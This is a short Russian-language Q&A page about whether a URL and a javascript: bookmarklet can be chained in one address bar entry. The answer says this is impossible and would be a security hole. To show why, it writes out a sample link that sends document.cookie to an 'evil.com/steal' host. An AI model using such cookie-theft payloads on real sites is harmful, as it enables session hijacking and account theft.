Объедините URL и Javascript букмарклет вместе - PullRequest
0 голосов
/ 29 ноября 2011

Мне нужно получить доступ к некоторым данным на чьем-либо сайте.Чтобы попасть на эту страницу, перейдите на страницу http://www.foosite.com и щелкните ссылку, которая содержит javascript:foo();, чтобы получить реальные данные.

foo () выглядит так:

function foo(param){
    createXXXCookie('COOKIE_NAME', param, 60);
    window.location.href="/current/location";
}

Такэто в основном установка cookie и перезагрузка страницы снова.Во время загрузки страницы готовый документ читает COOKIE_NAME и отображает соответствующие данные.

Я хочу использовать MS Excel, чтобы получить некоторые данные с этой страницы.Поэтому я искал один способ получить данные.Поскольку в адресной строке браузера я могу сначала ввести http://www.foosite.com, а затем ввести javascript:foo();, чтобы вызвать foo ().Мне было интересно, может ли сработать сочетание URL и букмарклета, например http://www.foosite.com;javascript:foo();?Я на самом деле пробовал это, но, похоже, IE / FF / GC пропустит javascript: ... part и просто перейдет к первой части URL.

1 Ответ

1 голос
/ 29 ноября 2011

Это невозможно.

Если бы это было возможно, это была бы смертельная дыра в безопасности.

Отправьте кому-нибудь короткую ссылку на http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)) и перейдите оттуда к авто-отправка форм.

...